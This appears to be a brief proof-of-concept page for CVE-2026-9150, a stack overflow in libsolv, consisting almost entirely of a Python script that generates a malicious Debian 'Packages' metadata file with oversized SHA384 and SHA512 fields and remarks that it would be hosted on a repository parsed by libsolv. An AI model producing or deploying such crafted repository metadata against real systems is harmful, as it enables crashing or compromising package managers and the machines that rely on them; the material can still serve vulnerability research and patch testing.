CVE-2026-9150 libsolv堆栈溢出漏洞

import os # Simulate creating a malicious Debian metadata file with oversized checksum tags malicious_metadata = """ Package: fake-package Version: 1.0.0 Filename: pool/main/f/fake-package.deb SHA384: {} + 'A'*500 # Excessive length to trigger overflow SHA512: {} + 'B'*500 # Excessive length to trigger overflow """.format('A'*500, 'B'*500) with open('malicious_Packages', 'w') as f: f.write(malicious_metadata) print("Malicious metadata file generated.") # In a real scenario, this file would be hosted on a repository parsed by libsolv.